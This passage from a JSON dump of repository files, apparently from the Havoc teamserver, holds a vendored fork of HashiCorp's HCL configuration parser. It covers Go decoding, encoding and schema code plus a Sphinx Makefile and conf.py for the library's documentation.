    "content": "package userfunc\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\n// A ContextFunc is a callback used to produce the base EvalContext for\n// running a particular set of functions.\n//\n// This is a function rather than an EvalContext directly to allow functions\n// to be decoded before their context is complete. This will be true, for\n// example, for applications that wish to allow functions to refer to themselves.\n//\n// The simplest use of a ContextFunc is to give user functions access to the\n// same global variables and functions available elsewhere in an application's\n// configuration language, but more complex applications may use different\n// contexts to support lexical scoping depending on where in a configuration\n// structure a function declaration is found, etc.\ntype ContextFunc func() *hcl.EvalContext\n\n// DecodeUserFunctions looks for blocks of the given type in the given body\n// and, for each one found, interprets it as a custom function definition.\n//\n// On success, the result is a mapping of function names to implementations,\n// along with a new body that represents the remaining content of the given\n// body which can be used for further processing.\n//\n// The result expression of each function is parsed during decoding but not\n// evaluated until the function is called.\n//\n// If the given ContextFunc is non-nil, it will be called to obtain the\n// context in which the function result expressions will be evaluated. If nil,\n// or if it returns nil, the result expression will have access only to\n// variables named after the declared parameters. A non-nil context turns\n// the returned functions into closures, bound to the given context.\n//\n// If the returned diagnostics set has errors then the function map and\n// remain body may be nil or incomplete.\nfunc DecodeUserFunctions(body hcl.Body, blockType string, context ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) {\n    return decodeUserFunctions(body, blockType, context)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/gohcl/decode.go",
    "content": "package gohcl\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/zclconf/go-cty/cty\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n    \"github.com/zclconf/go-cty/cty/gocty\"\n)\n\n// DecodeBody extracts the configuration within the given body into the given\n// value. This value must be a non-nil pointer to either a struct or\n// a map, where in the former case the configuration will be decoded using\n// struct tags and in the latter case only attributes are allowed and their\n// values are decoded into the map.\n//\n// The given EvalContext is used to resolve any variables or functions in\n// expressions encountered while decoding. This may be nil to require only\n// constant values, for simple applications that do not support variables or\n// functions.\n//\n// The returned diagnostics should be inspected with its HasErrors method to\n// determine if the populated value is valid and complete. If error diagnostics\n// are returned then the given value may have been partially-populated but\n// may still be accessed by a careful caller for static analysis and editor\n// integration use-cases.\nfunc DecodeBody(body hcl.Body, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics {\n    rv := reflect.ValueOf(val)\n    if rv.Kind() != reflect.Ptr {\n        panic(fmt.Sprintf(\"target value must be a pointer, not %s\", rv.Type().String()))\n    }\n\n    return decodeBodyToValue(body, ctx, rv.Elem())\n}\n\nfunc decodeBodyToValue(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics {\n    et := val.Type()\n    switch et.Kind() {\n    case reflect.Struct:\n        return decodeBodyToStruct(body, ctx, val)\n    case reflect.Map:\n        return decodeBodyToMap(body, ctx, val)\n    default:\n        panic(fmt.Sprintf(\"target value must be pointer to struct or map, not %s\", et.String()))\n    }\n}\n\nfunc decodeBodyToStruct(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics {\n    schema, partial := ImpliedBodySchema(val.Interface())\n\n    var content *hcl.BodyContent\n    var leftovers hcl.Body\n    var diags hcl.Diagnostics\n    if partial {\n        content, leftovers, diags = body.PartialContent(schema)\n    } else {\n        content, diags = body.Content(schema)\n    }\n    if content == nil {\n        return diags\n    }\n\n    tags := getFieldTags(val.Type())\n\n    if tags.Body != nil {\n        fieldIdx := *tags.Body\n        field := val.Type().Field(fieldIdx)\n        fieldV := val.Field(fieldIdx)\n        switch {\n        case bodyType.AssignableTo(field.Type):\n            fieldV.Set(reflect.ValueOf(body))\n\n        default:\n            diags = append(diags, decodeBodyToValue(body, ctx, fieldV)...)\n        }\n    }\n\n    if tags.Remain != nil {\n        fieldIdx := *tags.Remain\n        field := val.Type().Field(fieldIdx)\n        fieldV := val.Field(fieldIdx)\n        switch {\n        case bodyType.AssignableTo(field.Type):\n            fieldV.Set(reflect.ValueOf(leftovers))\n        case attrsType.AssignableTo(field.Type):\n            attrs, attrsDiags := leftovers.JustAttributes()\n            if len(attrsDiags) > 0 {\n                diags = append(diags, attrsDiags...)\n            }\n            fieldV.Set(reflect.ValueOf(attrs))\n        default:\n            diags = append(diags, decodeBodyToValue(leftovers, ctx, fieldV)...)\n        }\n    }\n\n    for name, fieldIdx := range tags.Attributes {\n        attr := content.Attributes[name]\n        field := val.Type().Field(fieldIdx)\n        fieldV := val.Field(fieldIdx)\n\n        if attr == nil {\n            if !exprType.AssignableTo(field.Type) {\n                continue\n            }\n\n            // As a special case, if the target is of type hcl.Expression then\n            // we'll assign an actual expression that evalues to a cty null,\n            // so the caller can deal with it within the cty realm rather\n            // than within the Go realm.\n            synthExpr := hcl.StaticExpr(cty.NullVal(cty.DynamicPseudoType), body.MissingItemRange())\n            fieldV.Set(reflect.ValueOf(synthExpr))\n            continue\n        }\n\n        switch {\n        case attrType.AssignableTo(field.Type):\n            fieldV.Set(reflect.ValueOf(attr))\n        case exprType.AssignableTo(field.Type):\n            fieldV.Set(reflect.ValueOf(attr.Expr))\n        default:\n            diags = append(diags, DecodeExpression(\n                attr.Expr, ctx, fieldV.Addr().Interface(),\n            )...)\n        }\n    }\n\n    blocksByType := content.Blocks.ByType()\n\n    for typeName, fieldIdx := range tags.Blocks {\n        blocks := blocksByType[typeName]\n        field := val.Type().Field(fieldIdx)\n\n        ty := field.Type\n        isSlice := false\n        isPtr := false\n        if ty.Kind() == reflect.Slice {\n            isSlice = true\n            ty = ty.Elem()\n        }\n        if ty.Kind() == reflect.Ptr {\n            isPtr = true\n            ty = ty.Elem()\n        }\n\n        if len(blocks) > 1 && !isSlice {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Duplicate %s block\", typeName),\n                Detail: fmt.Sprintf(\n                    \"Only one %s block is allowed. Another was defined at %s.\",\n                    typeName, blocks[0].DefRange.String(),\n                ),\n                Subject: &blocks[1].DefRange,\n            })\n            continue\n        }\n\n        if len(blocks) == 0 {\n            if isSlice || isPtr {\n                if val.Field(fieldIdx).IsNil() {\n                    val.Field(fieldIdx).Set(reflect.Zero(field.Type))\n                }\n            } else {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Missing %s block\", typeName),\n                    Detail:   fmt.Sprintf(\"A %s block is required.\", typeName),\n                    Subject:  body.MissingItemRange().Ptr(),\n                })\n            }\n            continue\n        }\n\n        switch {\n\n        case isSlice:\n            elemType := ty\n            if isPtr {\n                elemType = reflect.PtrTo(ty)\n            }\n            sli := val.Field(fieldIdx)\n            if sli.IsNil() {\n                sli = reflect.MakeSlice(reflect.SliceOf(elemType), len(blocks), len(blocks))\n            }\n\n            for i, block := range blocks {\n                if isPtr {\n                    if i >= sli.Len() {\n                        sli = reflect.Append(sli, reflect.New(ty))\n                    }\n                    v := sli.Index(i)\n                    if v.IsNil() {\n                        v = reflect.New(ty)\n                    }\n                    diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...)\n                    sli.Index(i).Set(v)\n                } else {\n                    if i >= sli.Len() {\n                        sli = reflect.Append(sli, reflect.Indirect(reflect.New(ty)))\n                    }\n                    diags = append(diags, decodeBlockToValue(block, ctx, sli.Index(i))...)\n                }\n            }\n\n            if sli.Len() > len(blocks) {\n                sli.SetLen(len(blocks))\n            }\n\n            val.Field(fieldIdx).Set(sli)\n\n        default:\n            block := blocks[0]\n            if isPtr {\n                v := val.Field(fieldIdx)\n                if v.IsNil() {\n                    v = reflect.New(ty)\n                }\n                diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...)\n                val.Field(fieldIdx).Set(v)\n            } else {\n                diags = append(diags, decodeBlockToValue(block, ctx, val.Field(fieldIdx))...)\n            }\n\n        }\n\n    }\n\n    return diags\n}\n\nfunc decodeBodyToMap(body hcl.Body, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics {\n    attrs, diags := body.JustAttributes()\n    if attrs == nil {\n        return diags\n    }\n\n    mv := reflect.MakeMap(v.Type())\n\n    for k, attr := range attrs {\n        switch {\n        case attrType.AssignableTo(v.Type().Elem()):\n            mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr))\n        case exprType.AssignableTo(v.Type().Elem()):\n            mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr.Expr))\n        default:\n            ev := reflect.New(v.Type().Elem())\n            diags = append(diags, DecodeExpression(attr.Expr, ctx, ev.Interface())...)\n            mv.SetMapIndex(reflect.ValueOf(k), ev.Elem())\n        }\n    }\n\n    v.Set(mv)\n\n    return diags\n}\n\nfunc decodeBlockToValue(block *hcl.Block, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics {\n    var diags hcl.Diagnostics\n\n    ty := v.Type()\n\n    switch {\n    case blockType.AssignableTo(ty):\n        v.Elem().Set(reflect.ValueOf(block))\n    case bodyType.AssignableTo(ty):\n        v.Elem().Set(reflect.ValueOf(block.Body))\n    case attrsType.AssignableTo(ty):\n        attrs, attrsDiags := block.Body.JustAttributes()\n        if len(attrsDiags) > 0 {\n            diags = append(diags, attrsDiags...)\n        }\n        v.Elem().Set(reflect.ValueOf(attrs))\n    default:\n        diags = append(diags, decodeBodyToValue(block.Body, ctx, v)...)\n\n        if len(block.Labels) > 0 {\n            blockTags := getFieldTags(ty)\n            for li, lv := range block.Labels {\n                lfieldIdx := blockTags.Labels[li].FieldIndex\n                v.Field(lfieldIdx).Set(reflect.ValueOf(lv))\n            }\n        }\n\n    }\n\n    return diags\n}\n\n// DecodeExpression extracts the value of the given expression into the given\n// value. This value must be something that gocty is able to decode into,\n// since the final decoding is delegated to that package.\n//\n// The given EvalContext is used to resolve any variables or functions in\n// expressions encountered while decoding. This may be nil to require only\n// constant values, for simple applications that do not support variables or\n// functions.\n//\n// The returned diagnostics should be inspected with its HasErrors method to\n// determine if the populated value is valid and complete. If error diagnostics\n// are returned then the given value may have been partially-populated but\n// may still be accessed by a careful caller for static analysis and editor\n// integration use-cases.\nfunc DecodeExpression(expr hcl.Expression, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics {\n    srcVal, diags := expr.Value(ctx)\n\n    convTy, err := gocty.ImpliedType(val)\n    if err != nil {\n        panic(fmt.Sprintf(\"unsuitable DecodeExpression target: %s\", err))\n    }\n\n    srcVal, err = convert.Convert(srcVal, convTy)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Unsuitable value type\",\n            Detail:   fmt.Sprintf(\"Unsuitable value: %s\", err.Error()),\n            Subject:  expr.StartRange().Ptr(),\n            Context:  expr.Range().Ptr(),\n        })\n        return diags\n    }\n\n    err = gocty.FromCtyValue(srcVal, val)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Unsuitable value type\",\n            Detail:   fmt.Sprintf(\"Unsuitable value: %s\", err.Error()),\n            Subject:  expr.StartRange().Ptr(),\n            Context:  expr.Range().Ptr(),\n        })\n    }\n\n    return diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/gohcl/doc.go",
    "content": "// Package gohcl allows decoding HCL configurations into Go data structures.\n//\n// It provides a convenient and concise way of describing the schema for\n// configuration and then accessing the resulting data via native Go\n// types.\n//\n// A struct field tag scheme is used, similar to other decoding and\n// unmarshalling libraries. The tags are formatted as in the following example:\n//\n//    ThingType string `hcl:\"thing_type,attr\"`\n//\n// Within each tag there are two comma-separated tokens. The first is the\n// name of the corresponding construct in configuration, while the second\n// is a keyword giving the kind of construct expected. The following\n// kind keywords are supported:\n//\n//    attr (the default) indicates that the value is to be populated from an attribute\n//    block indicates that the value is to populated from a block\n//    label indicates that the value is to populated from a block label\n//    optional is the same as attr, but the field is optional\n//    remain indicates that the value is to be populated from the remaining body after populating other fields\n//\n// \"attr\" fields may either be of type *hcl.Expression, in which case the raw\n// expression is assigned, or of any type accepted by gocty, in which case\n// gocty will be used to assign the value to a native Go type.\n//\n// \"block\" fields may be of type *hcl.Block or hcl.Body, in which case the\n// corresponding raw value is assigned, or may be a struct that recursively\n// uses the same tags. Block fields may also be slices of any of these types,\n// in which case multiple blocks of the corresponding type are decoded into\n// the slice.\n//\n// \"body\" can be placed on a single field of type hcl.Body to capture\n// the full hcl.Body that was decoded for a block. This does not allow leftover\n// values like \"remain\", so a decoding error will still be returned if leftover\n// fields are given. If you want to capture the decoding body PLUS leftover\n// fields, you must specify a \"remain\" field as well to prevent errors. The\n// body field and the remain field will both contain the leftover fields.\n//\n// \"label\" fields are considered only in a struct used as the type of a field\n// marked as \"block\", and are used sequentially to capture the labels of\n// the blocks being decoded. In this case, the name token is used only as\n// an identifier for the label in diagnostic messages.\n//\n// \"optional\" fields behave like \"attr\" fields, but they are optional\n// and will not give parsing errors if they are missing.\n//\n// \"remain\" can be placed on a single field that may be either of type\n// hcl.Body or hcl.Attributes, in which case any remaining body content is\n// placed into this field for delayed processing. If no \"remain\" field is\n// present then any attributes or blocks not matched by another valid tag\n// will cause an error diagnostic.\n//\n// Only a subset of this tagging/typing vocabulary is supported for the\n// \"Encode\" family of functions. See the EncodeIntoBody docs for full details\n// on the constraints there.\n//\n// Broadly-speaking this package deals with two types of error. The first is\n// errors in the configuration itself, which are returned as diagnostics\n// written with the configuration author as the target audience. The second\n// is bugs in the calling program, such as invalid struct tags, which are\n// surfaced via panics since there can be no useful runtime handling of such\n// errors and they should certainly not be returned to the user as diagnostics.\npackage gohcl\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/gohcl/encode.go",
    "content": "package gohcl\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"sort\"\n\n    \"Havoc/pkg/profile/yaotl/hclwrite\"\n    \"github.com/zclconf/go-cty/cty/gocty\"\n)\n\n// EncodeIntoBody replaces the contents of the given hclwrite Body with\n// attributes and blocks derived from the given value, which must be a\n// struct value or a pointer to a struct value with the struct tags defined\n// in this package.\n//\n// This function can work only with fully-decoded data. It will ignore any\n// fields tagged as \"remain\", any fields that decode attributes into either\n// hcl.Attribute or hcl.Expression values, and any fields that decode blocks\n// into hcl.Attributes values. This function does not have enough information\n// to complete the decoding of these types.\n//\n// Any fields tagged as \"label\" are ignored by this function. Use EncodeAsBlock\n// to produce a whole hclwrite.Block including block labels.\n//\n// As long as a suitable value is given to encode and the destination body\n// is non-nil, this function will always complete. It will panic in case of\n// any errors in the calling program, such as passing an inappropriate type\n// or a nil body.\n//\n// The layout of the resulting HCL source is derived from the ordering of\n// the struct fields, with blank lines around nested blocks of different types.\n// Fields representing attributes should usually precede those representing\n// blocks so that the attributes can group togather in the result. For more\n// control, use the hclwrite API directly.\nfunc EncodeIntoBody(val interface{}, dst *hclwrite.Body) {\n    rv := reflect.ValueOf(val)\n    ty := rv.Type()\n    if ty.Kind() == reflect.Ptr {\n        rv = rv.Elem()\n        ty = rv.Type()\n    }\n    if ty.Kind() != reflect.Struct {\n        panic(fmt.Sprintf(\"value is %s, not struct\", ty.Kind()))\n    }\n\n    tags := getFieldTags(ty)\n    populateBody(rv, ty, tags, dst)\n}\n\n// EncodeAsBlock creates a new hclwrite.Block populated with the data from\n// the given value, which must be a struct or pointer to struct with the\n// struct tags defined in this package.\n//\n// If the given struct type has fields tagged with \"label\" tags then they\n// will be used in order to annotate the created block with labels.\n//\n// This function has the same constraints as EncodeIntoBody and will panic\n// if they are violated.\nfunc EncodeAsBlock(val interface{}, blockType string) *hclwrite.Block {\n    rv := reflect.ValueOf(val)\n    ty := rv.Type()\n    if ty.Kind() == reflect.Ptr {\n        rv = rv.Elem()\n        ty = rv.Type()\n    }\n    if ty.Kind() != reflect.Struct {\n        panic(fmt.Sprintf(\"value is %s, not struct\", ty.Kind()))\n    }\n\n    tags := getFieldTags(ty)\n    labels := make([]string, len(tags.Labels))\n    for i, lf := range tags.Labels {\n        lv := rv.Field(lf.FieldIndex)\n        // We just stringify whatever we find. It should always be a string\n        // but if not then we'll still do something reasonable.\n        labels[i] = fmt.Sprintf(\"%s\", lv.Interface())\n    }\n\n    block := hclwrite.NewBlock(blockType, labels)\n    populateBody(rv, ty, tags, block.Body())\n    return block\n}\n\nfunc populateBody(rv reflect.Value, ty reflect.Type, tags *fieldTags, dst *hclwrite.Body) {\n    nameIdxs := make(map[string]int, len(tags.Attributes)+len(tags.Blocks))\n    namesOrder := make([]string, 0, len(tags.Attributes)+len(tags.Blocks))\n    for n, i := range tags.Attributes {\n        nameIdxs[n] = i\n        namesOrder = append(namesOrder, n)\n    }\n    for n, i := range tags.Blocks {\n        nameIdxs[n] = i\n        namesOrder = append(namesOrder, n)\n    }\n    sort.SliceStable(namesOrder, func(i, j int) bool {\n        ni, nj := namesOrder[i], namesOrder[j]\n        return nameIdxs[ni] < nameIdxs[nj]\n    })\n\n    dst.Clear()\n\n    prevWasBlock := false\n    for _, name := range namesOrder {\n        fieldIdx := nameIdxs[name]\n        field := ty.Field(fieldIdx)\n        fieldTy := field.Type\n        fieldVal := rv.Field(fieldIdx)\n\n        if fieldTy.Kind() == reflect.Ptr {\n            fieldTy = fieldTy.Elem()\n            fieldVal = fieldVal.Elem()\n        }\n\n        if _, isAttr := tags.Attributes[name]; isAttr {\n\n            if exprType.AssignableTo(fieldTy) || attrType.AssignableTo(fieldTy) {\n                continue // ignore undecoded fields\n            }\n            if !fieldVal.IsValid() {\n                continue // ignore (field value is nil pointer)\n            }\n            if fieldTy.Kind() == reflect.Ptr && fieldVal.IsNil() {\n                continue // ignore\n            }\n            if prevWasBlock {\n                dst.AppendNewline()\n                prevWasBlock = false\n            }\n\n            valTy, err := gocty.ImpliedType(fieldVal.Interface())\n            if err != nil {\n                panic(fmt.Sprintf(\"cannot encode %T as HCL expression: %s\", fieldVal.Interface(), err))\n            }\n\n            val, err := gocty.ToCtyValue(fieldVal.Interface(), valTy)\n            if err != nil {\n                // This should never happen, since we should always be able\n                // to decode into the implied type.\n                panic(fmt.Sprintf(\"failed to encode %T as %#v: %s\", fieldVal.Interface(), valTy, err))\n            }\n\n            dst.SetAttributeValue(name, val)\n\n        } else { // must be a block, then\n            elemTy := fieldTy\n            isSeq := false\n            if elemTy.Kind() == reflect.Slice || elemTy.Kind() == reflect.Array {\n                isSeq = true\n                elemTy = elemTy.Elem()\n            }\n\n            if bodyType.AssignableTo(elemTy) || attrsType.AssignableTo(elemTy) {\n                continue // ignore undecoded fields\n            }\n            prevWasBlock = false\n\n            if isSeq {\n                l := fieldVal.Len()\n                for i := 0; i < l; i++ {\n                    elemVal := fieldVal.Index(i)\n                    if !elemVal.IsValid() {\n                        continue // ignore (elem value is nil pointer)\n                    }\n                    if elemTy.Kind() == reflect.Ptr && elemVal.IsNil() {\n                        continue // ignore\n                    }\n                    block := EncodeAsBlock(elemVal.Interface(), name)\n                    if !prevWasBlock {\n                        dst.AppendNewline()\n                        prevWasBlock = true\n                    }\n                    dst.AppendBlock(block)\n                }\n            } else {\n                if !fieldVal.IsValid() {\n                    continue // ignore (field value is nil pointer)\n                }\n                if elemTy.Kind() == reflect.Ptr && fieldVal.IsNil() {\n                    continue // ignore\n                }\n                block := EncodeAsBlock(fieldVal.Interface(), name)\n                if !prevWasBlock {\n                    dst.AppendNewline()\n                    prevWasBlock = true\n                }\n                dst.AppendBlock(block)\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/gohcl/schema.go",
    "content": "package gohcl\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"sort\"\n    \"strings\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// ImpliedBodySchema produces a hcl.BodySchema derived from the type of the\n// given value, which must be a struct value or a pointer to one. If an\n// inappropriate value is passed, this function will panic.\n//\n// The second return argument indicates whether the given struct includes\n// a \"remain\" field, and thus the returned schema is non-exhaustive.\n//\n// This uses the tags on the fields of the struct to discover how each\n// field's value should be expressed within configuration. If an invalid\n// mapping is attempted, this function will panic.\nfunc ImpliedBodySchema(val interface{}) (schema *hcl.BodySchema, partial bool) {\n    ty := reflect.TypeOf(val)\n\n    if ty.Kind() == reflect.Ptr {\n        ty = ty.Elem()\n    }\n\n    if ty.Kind() != reflect.Struct {\n        panic(fmt.Sprintf(\"given value must be struct, not %T\", val))\n    }\n\n    var attrSchemas []hcl.AttributeSchema\n    var blockSchemas []hcl.BlockHeaderSchema\n\n    tags := getFieldTags(ty)\n\n    attrNames := make([]string, 0, len(tags.Attributes))\n    for n := range tags.Attributes {\n        attrNames = append(attrNames, n)\n    }\n    sort.Strings(attrNames)\n    for _, n := range attrNames {\n        idx := tags.Attributes[n]\n        optional := tags.Optional[n]\n        field := ty.Field(idx)\n\n        var required bool\n\n        switch {\n        case field.Type.AssignableTo(exprType):\n            // If we're decoding to hcl.Expression then absence can be\n            // indicated via a null value, so we don't specify that\n            // the field is required during decoding.\n            required = false\n        case field.Type.Kind() != reflect.Ptr && !optional:\n            required = true\n        default:\n            required = false\n        }\n\n        attrSchemas = append(attrSchemas, hcl.AttributeSchema{\n            Name:     n,\n            Required: required,\n        })\n    }\n\n    blockNames := make([]string, 0, len(tags.Blocks))\n    for n := range tags.Blocks {\n        blockNames = append(blockNames, n)\n    }\n    sort.Strings(blockNames)\n    for _, n := range blockNames {\n        idx := tags.Blocks[n]\n        field := ty.Field(idx)\n        fty := field.Type\n        if fty.Kind() == reflect.Slice {\n            fty = fty.Elem()\n        }\n        if fty.Kind() == reflect.Ptr {\n            fty = fty.Elem()\n        }\n        if fty.Kind() != reflect.Struct {\n            panic(fmt.Sprintf(\n                \"hcl 'block' tag kind cannot be applied to %s field %s: struct required\", field.Type.String(), field.Name,\n            ))\n        }\n        ftags := getFieldTags(fty)\n        var labelNames []string\n        if len(ftags.Labels) > 0 {\n            labelNames = make([]string, len(ftags.Labels))\n            for i, l := range ftags.Labels {\n                labelNames[i] = l.Name\n            }\n        }\n\n        blockSchemas = append(blockSchemas, hcl.BlockHeaderSchema{\n            Type:       n,\n            LabelNames: labelNames,\n        })\n    }\n\n    partial = tags.Remain != nil\n    schema = &hcl.BodySchema{\n        Attributes: attrSchemas,\n        Blocks:     blockSchemas,\n    }\n    return schema, partial\n}\n\ntype fieldTags struct {\n    Attributes map[string]int\n    Blocks     map[string]int\n    Labels     []labelField\n    Remain     *int\n    Body       *int\n    Optional   map[string]bool\n}\n\ntype labelField struct {\n    FieldIndex int\n    Name       string\n}\n\nfunc getFieldTags(ty reflect.Type) *fieldTags {\n    ret := &fieldTags{\n        Attributes: map[string]int{},\n        Blocks:     map[string]int{},\n        Optional:   map[string]bool{},\n    }\n\n    ct := ty.NumField()\n    for i := 0; i < ct; i++ {\n        field := ty.Field(i)\n        tag := field.Tag.Get(\"yaotl\")\n        if tag == \"\" {\n            continue\n        }\n\n        comma := strings.Index(tag, \",\")\n        var name, kind string\n        if comma != -1 {\n            name = tag[:comma]\n            kind = tag[comma+1:]\n        } else {\n            name = tag\n            kind = \"attr\"\n        }\n\n        switch kind {\n        case \"attr\":\n            ret.Attributes[name] = i\n        case \"block\":\n            ret.Blocks[name] = i\n        case \"label\":\n            ret.Labels = append(ret.Labels, labelField{\n                FieldIndex: i,\n                Name:       name,\n            })\n        case \"remain\":\n            if ret.Remain != nil {\n                panic(\"only one 'remain' tag is permitted\")\n            }\n            idx := i // copy, because this loop will continue assigning to i\n            ret.Remain = &idx\n        case \"body\":\n            if ret.Body != nil {\n                panic(\"only one 'body' tag is permitted\")\n            }\n            idx := i // copy, because this loop will continue assigning to i\n            ret.Body = &idx\n        case \"optional\":\n            ret.Attributes[name] = i\n            ret.Optional[name] = true\n        default:\n            panic(fmt.Sprintf(\"invalid hcl field tag kind %q on %s %q\", kind, field.Type.String(), field.Name))\n        }\n    }\n\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/gohcl/types.go",
    "content": "package gohcl\n\nimport (\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\nvar victimExpr hcl.Expression\nvar victimBody hcl.Body\n\nvar exprType = reflect.TypeOf(&victimExpr).Elem()\nvar bodyType = reflect.TypeOf(&victimBody).Elem()\nvar blockType = reflect.TypeOf((*hcl.Block)(nil))\nvar attrType = reflect.TypeOf((*hcl.Attribute)(nil))\nvar attrsType = reflect.TypeOf(hcl.Attributes(nil))\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/Makefile",
    "content": "# Minimal makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nSPHINXPROJ    = HCL\nSOURCEDIR     = .\nBUILDDIR      = _build\n\n# Put it first so that \"make\" without argument is like \"make help\".\nhelp:\n\t@$(SPHINXBUILD) -M help \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)\n\n.PHONY: help Makefile\n\n# Catch-all target: route all unknown targets to Sphinx using the new\n# \"make mode\" option.  $(O) is meant as a shortcut for $(SPHINXOPTS).\n%: Makefile\n\t@$(SPHINXBUILD) -M $@ \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/conf.py",
    "content": "import subprocess\nimport os\nimport os.path\n\n# -- Project information -----------------------------------------------------\n\nproject = u'HCL'\ncopyright = u'2018, HashiCorp'\nauthor = u'HashiCorp'\n\nif 'READTHEDOCS_VERSION' in os.environ:\n    version_str = os.environ['READTHEDOCS_VERSION']\nelse:\n    version_str = subprocess.check_output(['git', 'describe', '--always']).strip()\n\n# The short X.Y version\nversion = unicode(version_str)\n# The full version, including alpha/beta/rc tags\nrelease = unicode(version_str)\n\n\n# -- General configuration ---------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    'sphinx.ext.todo',\n    'sphinx.ext.githubpages',\n    'sphinxcontrib.golangdomain',\n    'sphinx.ext.autodoc',\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path .\nexclude_patterns = [u'_build', 'Thumbs.db', '.DS_Store', 'env']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'alabaster'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# The default sidebars (for documents that don't match any pattern) are\n# defined by theme itself.  Builtin themes are using these templates by\n# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',\n# 'searchbox.html']``.\n#\n# html_sidebars = {}\n\n\n# -- Options for HTMLHelp output ---------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'HCLdoc'\n\n\n# -- Options for LaTeX output ------------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    #\n    # 'papersize': 'letterpaper',\n\n    # The font size ('10pt', '11pt' or '12pt').\n    #\n    # 'pointsize': '10pt',\n\n    # Additional stuff for the LaTeX preamble.\n    #\n    # 'preamble': '',\n\n    # Latex figure (float) alignment\n    #\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n    (master_doc, 'HCL.tex', u'HCL Documentation',\n     u'HashiCorp', 'manual'),\n]\n\n\n# -- Options for manual page output ------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    (master_doc, 'hcl', u'HCL Documentation',\n     [author], 1)\n]\n\n\n# -- Options for Texinfo output ----------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (master_doc, 'HCL', u'HCL Documentation',\n     author, 'HCL', 'One line description of project.',\n     'Miscellaneous'),\n]\n\n\n# -- Extension configuration -------------------------------------------------\n\n# -- Options for todo extension ----------------------------------------------\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go.rst",
